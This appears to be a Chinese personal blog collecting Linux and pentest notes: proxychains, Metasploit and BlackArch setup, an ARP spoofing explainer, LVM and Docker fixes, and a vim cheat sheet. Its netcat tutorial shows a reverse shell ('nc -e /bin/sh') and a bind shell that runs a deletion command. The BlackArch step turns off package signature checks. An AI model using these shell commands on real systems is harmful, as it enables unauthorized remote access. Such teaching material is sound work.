简介

最近在折腾vim,装插件总是用到Github,难受就难受在装Python-mode这个插件,别的插件可能多clone几次也就下来了,python-mode clone下来之后还需要clone好多个很大的github仓库,让我真真切切的用了两个小时去尝试,,经过实验发现终端并没有走V2ray的代理,最终使用proxychains解决了问题

解决

单纯的设置全局代理很简单,只需要

export all_proxy="socks://127.0.0.1:1089"

但是git不走这个代理,就很迷惑,所以我们使用yay安装proxychains

yay -S proxychains

配置代理信息:

sudo nano /etc/proxychains.conf

修改最后一行配置信息

socks5 127.0.0.1 1089

就配置完成了,在命令行下如此使用

proxychains git clone ....

简介

最近更换了Manjaro作为我的主力系统,在安装常用的渗透测试工具的时候,安装msf遇到了一些问题

安装

Arch系的pacman之强早有所耳闻,但是没想到有这么强,Msf都可以直接Pacman

sudo pacman -S metasploit

至此,msf就成功安装了

配置

问题就出来了msf数据库的配置上,在安装好postgresql之后,仍然无法通过msfdb进行init

Missing requirement: 'bundle' does not appear to be installed or 'bundle' is not in the environment path
[!] You need to have postgres installed or specify a database with --connection-string

在多次配置后无果,搜索发现可以使用BlackArch的源来进行配置,尝试后成功

加入Blackarch的源

sudo vim /etc/pacman.conf

在后面加入

[blackarch]
SigLevel = Optional TrustAll
Server = https://mirrors.ustc.edu.cn/blackarch/$repo/os/$arch

然后更新源

sudo pacman -Syy

安装blackarch的msfdb

sudo pacman -S msfdb

因为官方源中是没有msfdb这个包的,所以在加入了blackarch之后才可以装,安装结束后会有一个msfdb-blackarch
我们直接使用这个脚本来初始化

sudo msfdb-blackarch init

注意,blackarch的msfdb是需要sudu权限的
在成功Init后,我们即可start

sudo msfdb-blackarch start                                                                                                                                             
[!] WARNING: Database already started

进入msf中查看数据库链接状态

msf6 > db_status 
[*] Connected to msf. Connection type: postgresql.

Kali 的Gnome桌面自带了Dash to Dock,但是默认的Xfce没有Dock,实在太难受了,好在也有替代版,也就是plank

sudo apt install plank

其实也可以尝试Docky,但是要解决非常多的依赖问题,甚至有些包得去网上搜索下载,不推荐

前言

在咸鱼购买了一台ThinkPad X250后,由于有主力机保障日常的稳定使用,我便将这一台X250装好了Kali Linux单系统,装好发现指纹没法使用,百度出成果,本文做以记录

方法

fprintd

在网上看到了很多方案,比如第三方开发者开发出的单纯为ThinkPad指纹识别的ThinkPrint,但是这个安装包是rpm格式,在我多次折腾后解决了这一问题,Kali Linux的apt源中是有这个功能的包的,叫做fprintd

安装

既然阿里云源中有这个包,那就直接apt安装

sudo apt install fprintd

其次还要装

sudo apt install libpam-fprintd

安装完成后,运行以下命令来录入指纹

fprintd-enroll

再用以下命令来验证指纹

fprintd-verify

此时如果出现无法访问设备,提示timeout的时候不要慌,注销或者重启就好了
到了这一步就是完成了,我的指纹识别用的gdm3,我并不知道Kali默认的lightdm是否支持,如果lightdm不支持,可以手动装一下gdm3

sudo apt install kali-desktop-gnome

然后再弹出的选择框中选择gdm3即可
再次重启会提示或者使用指纹登录

ARP协议以及ARP欺骗

ARP协议简介

ARP是“Address Resolution Protocol“也就是地址解析协议的缩写,在以太网环境中,数据的传输所依懒的是MAC地址而非IP地址,而将已知IP地址转换为MAC地址的工作是由ARP协议来完成的。

ARP工作原理

在计算机网络中,以ping命令为例

ping 10.10.10.1

我们只给出了目标的IP地址,没有给出MAC地址,这就好比寄快递只给了收件人姓名,没有给收件地址

ARP协议就是为了通过收件人姓名而得到收件地址,最终实现收发快递功能的协议

那么ARP协议是怎样工作的呢?

如图,是我刚刚连入网络获取到ip地址时,抓取到的收到以回复及相应的ARP包

可以分析到如下内容

数据包分析

第一个数据包来自MAC地址58:41:20:2D:D5:B1的主机,这个数据包的目标地址为Broadcast也就是广播地址ff-ff-ff-ff-ff-ff,向本网段里的全部机器发送,询问who has 10.1.40.106,想要IP为10.1.40.106的主机地址回复自身的MAC地址

恰好我的主机所获取到的IP地址就是10.1.40.106,所以我的主机回复了一条消息给MAC地址为58:41:20:2D:D5:B1的主机,也就是网关主机,告知他我持有他询问的ip,同时给出我的MAC地址

然后网关在得到我的MAC后,就能愉快的和我通信啦

ARP欺骗

举例来说,这是一个基本的家庭网络结构,两台设备通过路由器网关上网左边的PC1为攻击者的主机,此时的PC2正常上网
1.jpg

PC1向PC2发送ARP数据包,告知网关IP所对应的MAC地址是自己也就是PC1

2.jpg

PC2的ARP表刷新后,PC1的MAC地址对应的是网关,所以一切正常的通过网关发送到互联网的数据包都发送到了PC1
3.jpg

但是PC1毕竟不是网关,所以此时的PC2就已经断网了,因为假的网关可不会帮他转发数据,这就达到了一个简单的断网攻击

但是攻击者通常不希望被发现攻击,窃取隐私才是最重要的,所以通常会再将PC2发来的流量转发给路由器,这样PC2还可以继续正常上网,但是所有的上网流量都要经过PC1,此时PC1知道PC2在访问什么web,web上有哪些图片,以及登录操作所传输的账号密码等。

部分攻击并不满足于看,更要篡改数据,比如当你访问http://www.baidu.com的时候,更改你的数据包内容,重定向去访问了http://www.e-wolf.top,或者等baidu.com回复给你页面写着空腹不能吃饭被篡改为空腹要多喝水

简介

服务器环境是Ubuntu Server 20.04 ,在部署一个7G的docker容器的时候出现了问题,发现硬盘过小无法pull下来,但是我Vmware上给了50G的硬盘空间

解决方案

查看磁盘使用情况

vgdisplay

可以得到如下结果

root@bugscan:/home/adian# vgdisplay
  --- Volume group ---
  VG Name               ubuntu-vg
  System ID
  Format                lvm2
  Metadata Areas        1
  Metadata Sequence No  2
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                1
  Open LV               1
  Max PV                0
  Cur PV                1
  Act PV                1
  VG Size               <49.00 GiB
  PE Size               4.00 MiB
  Total PE              12543
  Alloc PE / Size       6272 / 24.50 GiB
  Free  PE / Size       6271 / <24.50 GiB
  VG UUID               9AMwHg-rdly-0xEQ-JiF9-nfZi-BD7x-QLuAPM

可以查看到

Free  PE / Size       6271 / <24.50 GiB

这一行给出了剩余空间为24.5GB
我们按照百分比给硬盘加上

lvresize -l  +100%FREE /dev/mapper/ubuntu--vg-ubuntu--lv

返回信息如下

Size of logical volume ubuntu-vg/ubuntu-lv changed from 4.00 GiB (1024 extents) to <19.00 GiB (4863 extents).Logical volume ubuntu-vg/ubuntu-lv successfully resized.

其实也可以按照大小加

lvextend -L +10G /dev/mapper/ubuntu--vg-ubuntu--lv     //增加10G
lvreduce -L -10G /dev/mapper/ubuntu--vg-ubuntu--lv     //减小10G

在加完后,刷新分区

resize2fs /dev/mapper/ubuntu--vg-ubuntu--lv 

即可发现硬盘已经改变大小

df -h

宝塔面板需要重启面板才能看到变化

前言

最近在准备安全演练,有一个大小为7G的docker镜像需要部署,在pull到4G左右的时候总是会卡死,所以百度解决后写下本文

解决方案

申请个人阿里云镜像源

https://cr.console.aliyun.com/cn-beijing/instances/mirrors

注册之后可以获得一个个人镜像源地址,但是需要docker版本>1.10.0
在Ubuntu环境下,我们编辑/etc/docker/daemon.json配置文件来进行镜像源的修改

sudo nano /etc/docker/daemon.json

将阿里云给的镜像源地址复制进去(链接替换成自己的)

{
  "registry-mirrors": ["https://cv6rxxxx.mirror.aliyuncs.com"]
}

保存文件并更新

sudo systemctl daemon-reload
sudo systemctl restart docker

然后再次Pull了以下,下载速度达到了我100M带宽的正常速度

前言

NetCat一直被誉为“瑞士军刀”,他...............

这样的话已经看吐了,与其天天看别人写的支离破碎的教程,不如自己看一看文档

Netcat

帮助信息

Netcat V1.10-46版本中,-h可以查看帮助信息

[v1.10-46]
connect to somewhere:   nc [-options] hostname port[s] [ports] ... 
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
        -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]
        -e filename             program to exec after connect [dangerous!!]
        -b                      allow broadcasts
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -q secs                 quit after EOF on stdin and delay of secs
        -s addr                 local source address
        -T tos                  set Type Of Service
        -t                      answer TELNET negotiation
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -C                      Send CRLF as line-ending
        -z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').

翻译

连接到某处: nc [-options] hostname port[s] [ports] ...

开启监听:

主要参数

参数说明
-c <commands>在连接后执行命令
-e <filename>在连接后运行文件
-b允许广播
-g <gateway>网关源路由跃点 最大为8
-G <num>设置来源路由指向器,其数值为4的倍数
-i secs发送包间隔(端口扫描)延时秒数
-k在socket上配置keepalive
-l监听模式
-n仅用IP地址,不使用DNS解析
-o file文件流量的存储
-p port本地端口号
-r随机的本地和远程端口
-q secs在EOF 退出后的延时
-s addr本地源地址
-T tos设置服务类型
-tTCP模式
-uUDP模式
-v详细输出(使用两个-v可以得到更详细的输出)
-w secstimeout的时间
-C发送CRLF作为行尾
-z无读写模式(用于扫描),连接立即关闭

应用

开启监听端口

监听<port>端口,准备被远程连接

nc -l -p <port>

在执行后,无回显,执行netstat -a可以查看到12345端口已经开启

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:<port>          0.0.0.0:*               LISTEN   

如果想输出监听到的信息,只需要使用-v参数来实现

nc -l -v -p <port>

在加了-v参数之后,执行有了回显

┌──(adian㉿pentest)-[~]
└─$ nc -l -v -p <port>                                                                                                                                                       
listening on [any] <port> ...

如果需要输出到日志文件,可以使用>

nc -l -p <port> > <filename>

如果需要设置只能使用TCP方式连接,则可以使用-t参数

nc -l -t -p <port>

连接到开启监听的服务器

在远程服务器开启了-l之后,可以去连接

nc <ip> <port> //可以用-n参数来指定参数类型为ip

如果被连接的服务器开启了-v则会输出

listening on [any] <port> ...
connect to [<ip>] from localhost [<ip>] port

连接并执行命令

远程服务器(Linux),可以使用如下命令-c来让远程用户执行命令

nc -l -v -c "rm -rf xx.txt" -p <port>

其中-c参数可以为bash命令,如果为、bin/bash则为可交互,同时用-e参数也可以实现

如果服务器系统为Windows,则可以把-c参数改为C:\Windows\System32\cmd.exe

本地主机采用正常方式连接

nc <ip> <port> //可以用-n参数来指定参数类型为ip

连接后可执行bash命令

ls
公共
模板
视频
图片
文档
下载
音乐
桌面

但是远程服务器开了-v并不能看到用户执行的命令以及回显,只有在命令错误的时候会输出,尝试了用两个-v以及-vv都不能输出用户执行的命令

/bin/sh: 1: dasd: not found

文件传输

传输效率很低,不推荐

服务端==>客户端传输:

服务端监听时

nc -l -p <port> > <filename>

客户端连接

nc <ip> <port> > <filename>

客户端==>服务端传输:

服务端监听时

nc -l -p <port> > <filename>

客户端连接

nc <ip> <port> < <filename>

反向连接

在防火墙的作用下,连接到服务器的数据包可能会被拦截,但是主机主动发出去的通常不会被拦截,所以可以使用以下方式实现反弹shell

客户端

nc -l -p <port>

服务端

nc -e /bin/sh <ip> <port>

流媒体服务器

服务端

cat video.mp4 | nc -l -p <port>

客户端

nc -n -v <ip> <port> | mplayer -vo x11 -cache 3000 -

目录传输

目录传输需要先压缩成压缩文件再传输

或者采用比较简单的方式

服务端:

tar -cvf - <dir>/ | nc -l -p <port>

客户端:

nc <ip> <port> | tar -xvf -

端口扫描

验证单个端口(TCP/UDP),只有在扫描本地的时候速度很快,相比起来还是nmap快得多,所以尽量用专用的工具,nc只作为辅助

nc -z -n -v -t(u) <ip> <port>

目前遇到了一个问题就是如果不自定义-w扫描会非常慢,所以我修改了timeout的参数

nc -w 1 -nvz <ip> <port>

如果端口开放会返回

(UNKNOWN) [<ip>] <port> (?) open

未开放则为

(UNKNOWN) [<ip>] <port> (?) : Connection timed out

获取端口banner信息

使用-v可以获取到端口的banner信息

nc -v <ip> <port>

简易聊天

这是最好实现的一个,只需要在监听和连接的时候都开启-v参数就可以实现了

nc -l -v -p <port>

客户端

nc -v <ip> <port>

如果加了> log.txt这样的指令,还可以把聊天记录保存下来

简介

在我重置了电脑之后,重新配置环境,在Vmware中的Kali Linux无法正常运行DS_Store_exp,不停的报错,提示Import错误,DS_STORE模块不存在,在我Pip安装之后仍有此问题

解决

在我尝试了查看了pip版本之后,发现Kali中的pippip3都是python-3.9的,所以我们重新安装python2pip

wget https://bootstrap.pypa.io/2.6/get-pip.py
python2 get-pip.py

在安装结束之后,CSDN写出的部分代码是错误的,比如调用python2-pip的指令为pip2而非pip
我们使用pip2来安装ds-store
此时会出现新的问题,会报错

ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.

此时我们只需要升级setuptools就可以解决了

pip2 install --upgrade setuptools

然后即可安装成功

打开文件

命令描述
vim filename打开或新建文件,并将光标置于第一行首
vim +n filename打开文件,并将光标置于第n行首
vim + filename打开文件,并将光标置于最后一行首
vim +/pattern filename打开文件,并将光标置于第一个与pattern匹配的串处
vim -r filename在上次正用vim编辑时发生系统崩溃,恢复filename
vim filename….filename打开多个文件,依次编辑

配置

命令描述
all列出所有选项设置情况
term设置终端类型
ignorance在搜索中忽略大小写
list显示制表位(Ctrl+I)和行尾标志($)
number显示行号
report显示由面向行的命令修改过的数目
terse显示简短的警告信息
warn在转到别的文件时若没保存当前文件则显示NO write信息
nomagic允许在搜索模式中,使用前面不带“”的特殊字符
nowrapscan禁止vi在搜索到达文件两端时,又从另一端开始
mesg允许vi显示其他用户用write写到自己终端上的信息
:set number / set nonumber显示/不显示行号
:set ruler /set noruler显示/不显示标尺
:set hlsearch高亮显示查找到的单词
:set nohlsearch关闭高亮显示
:syntax on语法高亮
:set nu显示行号
:set tabstop=8设置tab大小,8为最常用最普遍的设置
:set softtabstop=84:4个空格,8:正常的制表符,12:一个制表符4个空格,16:两个制表符
:set autoindent自动缩进
:set cindentC语言格式里面的自动缩进

移动

位置
k nk上 向上移动n行
j nj下 向下移动n行
h nh左 向左移动n行
l nl右 向右移动n行
首行gg
末行G
第{n}行{n}G
文件{n}%处的行{n}%
行首0
行尾$
行内第一个非空字符^
上一行行首-
下一行行首+
下一词首w
下一词首(符号也算词的一部分)W
上一词首b
上一词首(符号也算词的一部分)B
下一词尾e
下一词尾(符号也算词的一部分)E
上一词尾ge
上一词尾(符号也算词的一部分)gE
上一句子(
下一句子)
上一段落{
下一段落}

插入

命令描述
i在光标前
I在当前行首
a光标后
A在当前行尾
o在当前行之下新开一行
O在当前行之上新开一行
r替换当前字符
R替换当前字符及其后的字符,直至按ESC键
s从当前光标位置处开始,以输入的文本替代指定数目的字符
S删除指定数目的行,并以所输入文本代替之
ncw/nCW修改指定数目的字
nCC修改指定数目的行
==自动缩进当前行

复制粘贴

命令描述
p粘贴用x或d删除的文本
ynw复制n个单词
yy复制一行
ynl复制n个字符
y$复制当前光标至行尾处
nyy拷贝n行

删除(剪切)命令

命令描述
x/X删除一个字符,x删除光标后的,而X删除光标前的
dw删除一个单词(删除光标位置到下一个单词开始的位置)
dnw删除n个单词
dne也可,只是删除到单词尾
do删至行首
d$删至行尾
dd删除一行
ndd删除当前行及其后n-1行
dnl向右删除n个字母
dnh向左删除n个字母
dnj向下删除n行,当前行+其上n行
dnk向上删除n行,当期行+其下n行
cnw[word]将n个word改变为word
C$改变到行尾
cc改变整行
shift+j删除行尾的换行符,下一行接上来了

行方式命令

命令描述
:n1,n2 co n3将n1行到n2行之间的内容拷贝到第n3行下
:n1,n2 m n3将n1行到n2行之间的内容移至到第n3行下
:n1,n2 d将n1行到n2行之间的内容删除
:n1,n2 w!command将文件中n1行至n2行的内容作为command的输入并执行之 若不指定n1,n2,则表示将整个文件内容作为command的输入

搜索及替换

命令描述
/pattern从光标开始处向文件尾搜索pattern
?pattern从光标开始处向文件首搜索pattern
n在同一方向重复上一次搜索命令
N在反方向上重复上一次搜索命令
cw newword替换为newword
n继续查找
.执行替换
:s/p1/p2/g将当前行中所有p1均用p2替代,g表示执行 用c表示需要确认
:n1,n2 s/p1/p2/g将第n1至n2行中所有p1均用p2替代
:g/p1/s//p2/g将文件中所有p1均用p2替换
:1,$ s/string1/string2/g在全文中将string1替换为string2

撤销

命令描述
u撤销前一次的操作
shif+u(U)撤销对该行的所有操作

其他

命令描述
:e filename打开文件filename进行编辑
:e!放弃修改文件内容,重新载入该文件编辑
:!command执行shell命令command
:r!command将命令command的输出结果放到当前行
:read file.c将文件file.c的内容插入到当前光标所在的下面